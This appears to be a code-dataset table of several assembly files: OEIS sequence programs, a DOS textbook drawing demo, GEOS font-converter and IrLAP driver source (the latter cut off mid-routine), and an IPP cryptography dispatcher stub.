hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
77ed589a1405c186dc5be799030d20c71742eea4 | 704 | asm | Assembly | oeis/113/A113488.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/113/A113488.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/113/A113488.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A113488: Numbers k such that 19*k + 2 is prime.
; Submitted by Christian Krause
; 0,3,5,9,11,21,23,39,45,51,53,59,65,75,83,89,105,111,123,125,143,149,153,159,161,165,171,185,189,191,201,213,221,231,245,249,263,269,273,275,279,285,291,293,299,315,321,333,335,341,353,359,363,369,375,389,395,399,401,419,423,431,443,453,455,461,465,471,479,489,501,513,515,521,531,539,545,549,573,579,585,599,605,621,623,629,639,653,665,669,681,683,689,705,735,741,755,759,761,765
mov $1,1
mov $2,$0
add $2,2
pow $2,2
lpb $2
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,19
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
div $0,19
| 32 | 381 | 0.673295 |
a9c4824f80a89b2c8bee0f57de696e9236e25616 | 3,524 | asm | Assembly | programs/oeis/076/A076459.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/076/A076459.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/076/A076459.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A076459: Sum of numbers that can be written as t*n + u*(n+1) for nonnegative integers t,u in exactly n ways.
; 1,57,390,1510,4335,10311,21532,40860,72045,119845,190146,290082,428155,614355,860280,1179256,1586457,2099025,2736190,3519390,4472391,5621407,6995220,8625300,10545925,12794301,15410682,18438490,21924435,25918635,30474736,35650032,41505585,48106345,55521270,63823446,73090207,83403255,94848780,107517580,121505181,136911957,153843250,172409490,192726315,214914691,239101032,265417320,294001225,324996225,358551726,394823182,433972215,476166735,521581060,570396036,622799157,678984685,739153770,803514570,872282371,945679707,1023936480,1107290080,1195985505,1290275481,1390420582,1496689350,1609358415,1728712615,1855045116,1988657532,2129860045,2278971525,2436319650,2602241026,2777081307,2961195315,3154947160,3358710360,3572867961,3797812657,4033946910,4281683070,4541443495,4813660671,5098777332,5397246580,5709532005,6036107805,6377458906,6734081082,7106481075,7495176715,7900697040,8323582416,8764384657,9223667145,9702004950,10199984950,10718205951,11257278807,11817826540,12400484460,13005900285,13634734261,14287659282,14965361010,15668537995,16397901795,17154177096,17938101832,18750427305,19591918305,20463353230,21365524206,22299237207,23265312175,24264583140,25297898340,26366120341,27470126157,28610807370,29789070250,31005835875,32262040251,33558634432,34896584640,36276872385,37700494585,39168463686,40681807782,42241570735,43848812295,45504608220,47210050396,48966246957,50774322405,52635417730,54550690530,56521315131,58548482707,60633401400,62777296440,64981410265,67247002641,69575350782,71967749470,74425511175,76949966175,79542462676,82204366932,84937063365,87741954685,90620462010,93574024986,96604101907,99712169835,102899724720,106168281520,109519374321,112954556457,116475400630,120083499030,123780463455,127567925431,131447536332,135420967500,139489910365,143656076565,147921198066,152287027282,156755337195,161327921475,166006594600,170793191976,175689570057,180697606465,185819200110,191056271310,196410761911,201884635407,207479877060,213198494020,219042515445,225013992621,231114999082,237347630730,243714005955,250216265755,256856573856,263637116832,270560104225,277627768665,284842365990,292206175366,299721499407,307390664295,315216019900,323199939900,331344821901,339653087557,348127182690,356769577410,365582766235,374569268211,383731627032,393072411160,402594213945,412299653745,422191374046,432272043582,442544356455,453011032255,463674816180,474538479156,485604817957,496876655325,508356840090,520048247290,531953778291,544076360907,556418949520,568984525200,581776095825,594796696201,608049388182,621537260790,635263430335,649231040535,663443262636,677903295532,692614365885,707579728245,722802665170,738286487346,754034533707,770050171555,786336796680,802897833480,819736735081,836856983457,854262089550,871955593390,889941064215,908222100591,926802330532,945685411620,964875031125,984374906125
mov $1,$0
mov $2,5
mov $3,5
mov $6,$0
mul $0,2
lpb $0,1
sub $0,1
trn $1,1
add $3,5
add $3,$1
lpe
add $2,$3
mov $1,$2
sub $1,9
mov $5,$6
mov $7,$6
lpb $5,1
sub $5,1
add $8,$7
lpe
mov $4,20
mov $7,$8
lpb $4,1
add $1,$7
sub $4,1
lpe
mov $5,$6
mov $8,0
lpb $5,1
sub $5,1
add $8,$7
lpe
mov $4,18
mov $7,$8
lpb $4,1
add $1,$7
sub $4,1
lpe
mov $5,$6
mov $8,0
lpb $5,1
sub $5,1
add $8,$7
lpe
mov $4,7
mov $7,$8
lpb $4,1
add $1,$7
sub $4,1
lpe
mov $5,$6
mov $8,0
lpb $5,1
sub $5,1
add $8,$7
lpe
mov $4,1
mov $7,$8
lpb $4,1
add $1,$7
sub $4,1
lpe
| 53.393939 | 2,834 | 0.839103 |
2ee884bb8bdbbeb10442b9d8d9b7db78cf5cecd2 | 2,138 | asm | Assembly | books_and_notes/professional_courses/Assembly_language_and_programming/sources/汇编语言程序设计教程第四版/codes/9_14.asm | gxw1/review_the_national_post-graduate_entrance_examination | 8812779a7a4ce185a531d120562d5194b697c0c9 | [
"MIT"
] | 640 | 2019-03-30T11:32:43.000Z | 2022-03-31T14:05:18.000Z | books_and_notes/professional_courses/Assembly_language_and_programming/sources/汇编语言程序设计教程第四版/codes/9_14.asm | yyzVegst/review_the_national_post-graduate_entrance_examination | 8812779a7a4ce185a531d120562d5194b697c0c9 | [
"MIT"
] | 6 | 2019-07-22T01:57:24.000Z | 2022-01-20T15:03:16.000Z | books_and_notes/professional_courses/Assembly_language_and_programming/sources/汇编语言程序设计教程第四版/codes/9_14.asm | yyzVegst/review_the_national_post-graduate_entrance_examination | 8812779a7a4ce185a531d120562d5194b697c0c9 | [
"MIT"
] | 212 | 2019-04-10T02:31:50.000Z | 2022-03-30T02:32:47.000Z | STACK SEGMENT STACK
DW 64 DUP(?)
STACK ENDS
DATA SEGMENT
SPORT DB 17
DB 2,7,0,0
DB 4FH,7,1,-3
DB 53H,70H,0,1
DB 50H,70H,0,1
DB 4FH,70H,0,1
DB 52H,70H,0,1
DB 54H,70H,0,1
DB 4FH,7,0,1
DB 0DBH,7,1,-3
DB 0DBH,7,1,-1
DB 0DBH,7,0,1
DB 0DBH,7,0,1
DB 0DBH,7,0,1
DB 0DBH,7,1,-4
DB 0DBH,7,0,4
DB 4FH,7,1,-5
DB 4FH,7,0,5
DATA ENDS
CODE SEGMENT
ASSUME CS:CODE,DS:DATA,SS:STACK
MAIN PROC FAR
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATA
MOV DS,AX
CALL CLEAR
LEA SI,SPORT
MOV DH,15
MOV DL,40
CALL SPORTDIS
RET
MAIN ENDP
CLEAR PROC NEAR
PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV AH,6
MOV AL,0
MOV CX,0
MOV DH,24
MOV DL,79
MOV BH,7
INT 10H
POP DX
POP CX
POP BX
POP AX
RET
CLEAR ENDP
SPORTDIS PROC NEAR
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
MOV AH,0FH
INT 10H
SUB CH,CH
MOV CL,[SI]
INC SI
NEXT: ADD DH,[SI+2]
ADD DL,[SI+3]
MOV AH,2
INT 10H
MOV AL,[SI]
MOV BL,[SI+1]
PUSH CX
MOV CX,1
MOV AH,9
INT 10H
POP CX
ADD SI,4
LOOP NEXT
POP SI
POP DX
POP CX
POP BX
POP AX
RET
SPORTDIS ENDP
CODE ENDS
END MAIN
| 23.755556 | 44 | 0.321328 |
fa2e9c071661122380167701680560d9b55ef7af | 2,223 | asm | Assembly | Appl/NInFnt/ninfntVariable.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/NInFnt/ninfntVariable.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/NInFnt/ninfntVariable.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Nimbus Font Converter
FILE: ninfntVariable.asm
AUTHOR: Gene Anderson, Apr 17, 1991
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 4/17/91 Initial revision
DESCRIPTION:
Variables for the Nimbus Font Converter.
$Id: ninfntVariable.asm,v 1.1 97/04/04 16:16:56 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
idata segment
;
; Font filename template.
;
destFilename char "xxxx1234.FNT", 0
;
; Class definition is stored in the application's idata resource here.
;
NimbusFontInstallProcessClass mask CLASSF_NEVER_SAVED
FontInstallListClass
VisRectangleClass
;
; Everything between 'SaveStart' and 'SaveEnd' will be save to/restored
; from the state file.
; NOTE: Everything is saved/restored in word sized nuggets, therefore
; this stuff MUST be a multiple of two!
SaveStart label word ;START of data saved to state file
SaveEnd label word ;END of data saved to state file
;
; NimbusVersionTag{[23]X,ZSoft} contain the font file tags for comparison
; to the first 4 bytes in the files.
;
NimbusVersionTag2X dword (NIMBUS_TAG_V2)
NimbusVersionTag3X dword (NIMBUS_TAG_V3)
NimbusVersionTagZSoft dword (NIMBUS_TAG_ZSOFT)
;
; NimbusConvertedFlag let's us know whether or not we've converted
; anything.
NimbusConvertFlag byte (FALSE)
;
; NimbusRestartFlag let's us know whether or not to force a system
; shutdown.
NimbusRestartFlag byte (FALSE)
idata ends
udata segment
;
; Temporary buffer to hold the currently selected directory to
; process for font files.
;
NimbusSelectedPath char PATH_BUFFER_SIZE dup (?)
;
; Handle for the currently selected directory to process for font files.
;
NimbusSelectedPathHandle hptr (?)
;
; Handle to temporarily allocated block to hold the font file header.
;
NimbusTagBlockHandle hptr (?)
;
; FontIDs value to check for in FileEnum() callback
;
checkFontID FontIDs
checkFontName char FONT_NAME_LEN dup(?)
checkError NimbusError
udata ends
| 23.648936 | 79 | 0.68466 |
cbff514247486751cfafb2f6be4289e0d1a98d28 | 275 | asm | Assembly | programs/oeis/204/A204688.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/204/A204688.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/204/A204688.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A204688: a(n) = n^n (mod 3).
; 1,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1,0,1,2,0,1,1
mov $2,$0
cmp $2,0
add $0,$2
mov $1,2
gcd $1,$0
mod $0,3
dif $0,$1
| 25 | 175 | 0.498182 |
a357f14c47e486c10d4edcae5d6037c46486370a | 1,109 | asm | Assembly | _build/dispatcher/jmp_ippsGFpECPointInit_9a4f0ce2.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | 1 | 2021-10-04T10:21:54.000Z | 2021-10-04T10:21:54.000Z | _build/dispatcher/jmp_ippsGFpECPointInit_9a4f0ce2.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | _build/dispatcher/jmp_ippsGFpECPointInit_9a4f0ce2.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | extern m7_ippsGFpECPointInit:function
extern n8_ippsGFpECPointInit:function
extern y8_ippsGFpECPointInit:function
extern e9_ippsGFpECPointInit:function
extern l9_ippsGFpECPointInit:function
extern n0_ippsGFpECPointInit:function
extern k0_ippsGFpECPointInit:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsGFpECPointInit
.Larraddr_ippsGFpECPointInit:
dq m7_ippsGFpECPointInit
dq n8_ippsGFpECPointInit
dq y8_ippsGFpECPointInit
dq e9_ippsGFpECPointInit
dq l9_ippsGFpECPointInit
dq n0_ippsGFpECPointInit
dq k0_ippsGFpECPointInit
segment .text
global ippsGFpECPointInit:function (ippsGFpECPointInit.LEndippsGFpECPointInit - ippsGFpECPointInit)
.Lin_ippsGFpECPointInit:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsGFpECPointInit:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsGFpECPointInit]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsGFpECPointInit:
| 28.435897 | 99 | 0.801623 |
078533e08f4f7aecb22d532fbdb124b53f4c0e05 | 252 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_atanh.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_atanh.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_atanh.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; float atanh(float x)
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdccix_atanh
EXTERN cm48_sdccix_atanh_fastcall
cm48_sdccix_atanh:
pop af
pop hl
pop de
push de
push hl
push af
jp cm48_sdccix_atanh_fastcall
| 11.454545 | 33 | 0.738095 |
f5c7d317555e9d5cb515e48804e699798d31d036 | 19,976 | asm | Assembly | Driver/Socket/IRLAP/irlapInitExit.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Socket/IRLAP/irlapInitExit.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Socket/IRLAP/irlapInitExit.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1994 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: intialization routines for IRLAP
FILE: irlapInitExit.asm
AUTHOR: Cody Kwok, Apr 15, 1994
REVISION HISTORY:
Name Date Description
---- ---- -----------
CK 4/15/94 Initial revision
DESCRIPTION:
Init and exit procedures for IRLAP driver.
$Id: irlapInitExit.asm,v 1.1 97/04/18 11:56:55 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapCommonCode segment resource
; ****************************************************************************
;
; INIT ROUTINES
;
; ****************************************************************************
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapAllocClientEntry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find a free entry in dgroup:irlapClientTable
CALLED BY: IrlapAddStation
PASS: es = dgroup
RETURN: di = offset to free client table entry
carry set if all entries are filled
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 8/17/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapAllocClientEntry proc far
uses cx
.enter
mov di, offset irlapClientTable
; The client table can't start at 0
EC < cmp di, 0 >
EC < ERROR_Z -1 >
mov cx, IRLAP_MAX_NUM_CLIENTS ; counter
;
; Linear search through the table until we find an entry with
; ICF_active bit clear
;
searchLoop:
test es:[di].IC_flags, mask ICF_RESERVED
jnz next
test es:[di].IC_flags, mask ICF_ACTIVE
clc
jz done
next:
add di, size IrlapClient
loop searchLoop
stc
done:
.leave
ret
IrlapAllocClientEntry endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapLinkInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the link
CALLED BY: IrlapSetupPhysicalLayer
PASS: es = dgroup
ds = station
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Get the random seed
Generate random device address
REVISION HISTORY:
Name Date Description
---- ---- -----------
CK 3/21/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapLinkInit proc near
uses ax
.enter
;
; Initialize the random number generator
;
call TimerGetCount ; initialize the random # generator
mov es:[randomSeed], ax
;
; Generate device address
;
call IrlapGenerateRandom32 ; dxax = 32 bit addr
movdw ds:IS_devAddr, dxax
.leave
ret
IrlapLinkInit endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapInitStation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: do misc initialization for a station that is not defined
in any state
Later may be we incorporate all the initialization in this
routine
CALLED BY: IrlapNativeRegister
PASS: ds = station
es = dgroup
cx = serial port to use (or IRLAP_DEFAULT_PORT)
RETURN: carry set if error
the only error condition is "media busy"
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
CK 5/ 6/94 Initial version
SJ 8/ 2/94 re-organized for dynamic allocation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapInitStation proc far
uses ax, bx, bx, bp, di, cx
.enter
;
; Set initial values to be read in from geos.ini file
;
call IrlapGetParamsFromInitFile
;
; Initialize threads
;
call IrlapSetupServerThread ; nothing changed
jc mediaBusy
call IrlapSetupEventThread ; nothing changed
call ApplyDefaultConnectionParams ; nothing changed
call InitConnectionState
mov ds:IS_sleepTime, IRLAP_SLEEP_TIMEOUT_TICKS
;
; Set initial state
;
ChangeState NDM, ds
mediaBusy:
.leave
ret
IrlapInitStation endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapGetParamsFromInitFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize IS_serialPort and IS_connectionParams from the
initfile or hard-coded defaults.
CALLED BY: IrlapInitStation
PASS: ds = IrlapStation segment
cx = serial port to use (or IRLAP_DEFAULT_PORT)
RETURN: These are initialized:
ds:IS_serialPort
ds:IS_connectionParams
DESTROYED: nothing
CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 9/21/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapGetParamsFromInitFile proc near
uses ax,cx,dx,si,di,bp,ds,es
.enter
segmov es, ds, ax ; es = station
if _SOCKET_INTERFACE
;
; get link mgt mode
;
clr es:[IS_linkMgtMode]
endif ;_SOCKET_INTERFACE
;
; get serial port, unless one is already specified
;
mov bx, handle IrlapStrings
call MemLock
mov ds, ax
cmp cx, IRLAP_DEFAULT_PORT
je getPort
mov es:[IS_serialPort], cx
jmp getAddress
getPort:
;
; Get necessary strings from IrlapStrings
;
mov cx, ds
mov si, offset portKeyword
mov dx, ds:[si] ;cx:dx = portKeyword
mov si, offset irlapCategory
mov si, ds:[si] ;ds:si = irlapCategory
mov ax, SERIAL_COM1
call InitFileReadInteger ;ax = integer
mov es:[IS_serialPort], ax
getAddress:
if _SOCKET_INTERFACE
;
; If we are not socket client, skip this and leave whatever is
; currently in DiscoveryInfo section of XID frame alone
;
test es:IS_status, mask ISS_SOCKET_CLIENT
jz skipAddress
;
; ds = IrlapStrings segment
; ds:si = irlapCategory
;
mov si, offset irlapCategory
mov si, ds:[si] ; ds:si = irlapCategory
mov cx, ds
;
; read in address for the device
; keyword = "address"
;
mov di, offset addressKeyword
mov dx, ds:[di] ; cx:dx = portKeyword
mov di, offset IS_discoveryXIDFrame +\
offset IDXF_discoveryInfo
mov bp, IRLAP_ADDRESS_LEN
call InitFileReadString ;-> es:di = filled in; bx destroyed
; bx = destroyed
jnc addressFound ; cx = num bytes read
;
; address not found( default address = "UNKNOWN" )
;
mov si, offset defaultAddressStr
mov si, ds:[si] ; ds:si = default addr
mov cx, (8 / 2) ; length of default addr
mov_tr dx, di
rep movsw
mov_tr di, dx
mov cx, 7
addressFound:
;
; es:di = IDXF_discoveryInfo field in IS_discoveryXIDFrame
; cx = length of address string
;
cmp cx, IRLAP_ADDRESS_LEN; the max lenght of address field
jb rightSize
dec cx ; truncate last character if cx = 16
rightSize:
add di, cx
clr {byte}es:[di] ; store null terminator for string
skipAddress:
endif ;_SOCKET_INTERFACE
;
; es = station, ds = IrlapStrings segment
;
;
; Get default negotiation parameters
;
call InitializeNegotiationParams
;
; Unlock string block
;
mov bx, handle IrlapStrings
call MemUnlock
.leave
ret
IrlapGetParamsFromInitFile endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitializeNegotiationParams
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get default connection parameters from .ini file or by other
means, and put them into station structure in
IS_connectionParams field.
CALLED BY: IrlapGetParamsFromInitFile
PrepareNegotiationParams
PASS: es = station
ds = IrlapStrings segment
RETURN: nothing( IS_connectionParams filled in with connection params )
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 9/19/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitializeNegotiationParams proc far
uses ax, bx, si, di, cx, dx, bp
.enter
;
; Parameters gotten from .ini file:
;
; Parameter Default
; --------- -------
; baudRate 9600 bps
; maxTurnaround 500 ms
; dataSize 64 bytes
; windowSize 1 frame
; numBOFs 5
; minTurnaround 10 ms
; linkDisconnect 3 secs
;
mov di, offset IS_connectionParams ;es:di = IS_connParams
mov si, offset irlapCategory
mov si, ds:[si] ;ds:si = category str
mov cx, ds ;cx = IrlapStrings seg
;
; baudrate
;
mov bp, offset baudrateKeyword
mov dx, ds:[bp]
mov ax, mask IPBR_9600BPS
call InitFileReadInteger
mov es:[di].ICP_baudRate, al
;
; max turnaround
;
mov bp, offset maxTurnaroundKeyword
mov dx, ds:[bp]
mov ax, mask IPMTA_500MS
call InitFileReadInteger
mov es:[di].ICP_maxTurnAround, al
;
; data size
;
mov bp, offset dataSizeKeyword
mov dx, ds:[bp]
mov ax, mask IPDS_64BYTES
call InitFileReadInteger
mov es:[di].ICP_dataSizeIn, al
;
; window size
;
mov bp, offset windowSizeKeyword
mov dx, ds:[bp]
mov ax, mask IPWS_1FRAME
call InitFileReadInteger
mov es:[di].ICP_windowSizeIn, al
;
; number of BOFs
;
mov bp, offset numBOFsKeyword
mov dx, ds:[bp]
mov ax, mask IPNB_5BOF
call InitFileReadInteger
mov es:[di].ICP_numBof, al
;
; minimum turnaround
;
mov bp, offset minTurnaroundKeyword
mov dx, ds:[bp]
mov ax, mask IPMT_10MS
call InitFileReadInteger
mov es:[di].ICP_minTurnAround, al
;
; link disconnect
;
mov bp, offset linkDisconnectKeyword
mov dx, ds:[bp]
mov ax, mask IPLTT_3SEC
call InitFileReadInteger
mov es:[di].ICP_linkDisconnect, al
.leave
ret
InitializeNegotiationParams endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IrlapSetupEventThread
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Setup event thread if there isn't already one running.
CALLED BY: IrlapInitStation, IrlapConnectRequest
PASS: ds = station
es = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
If there is no thread running for this station,
create an event thread with IRLAP as the owner
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 8/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IrlapSetupEventThread proc far
uses ax,bx,cx,dx,si,di,bp,ds,es
.enter
;
; Check if there is already a thread running here
;
tst ds:IS_eventThreadHandle
jnz skip
;
; sets up event-driven thread of IrlapProcessClass for the
; state machine.
;
push ds
mov bx, handle ui
mov bp, 400h ;use a 1k stack
movfptr cxdx, IrlapProcessClass
mov si, handle 0
mov di, mask MF_CALL
mov ax, MSG_PROCESS_CREATE_EVENT_THREAD_WITH_OWNER
call ObjMessage
pop ds ; restore station
mov ds:IS_eventThreadHandle, ax ; save thread handle
;
; Increase the priority of the event thread.
;
mov bx, ax ;bx = thread handle
mov ah, mask TMF_BASE_PRIO
mov al, PRIORITY_HIGH
call ThreadModify ;bx = thread handle
mov ax, TGIT_QUEUE_HANDLE
call ThreadGetInfo
mov ds:IS_eventQueue, ax
;
; Allocate a queue for pending events (freed in IDCDetach)
;
push bx ;save thread handle
call GeodeAllocQueue
mov ax, handle 0 ;set owner to irlap
call HandleModifyOwner
mov ds:IS_pendingEventQueue, bx
pop bx ;bx = thread
;
; ds = station segment
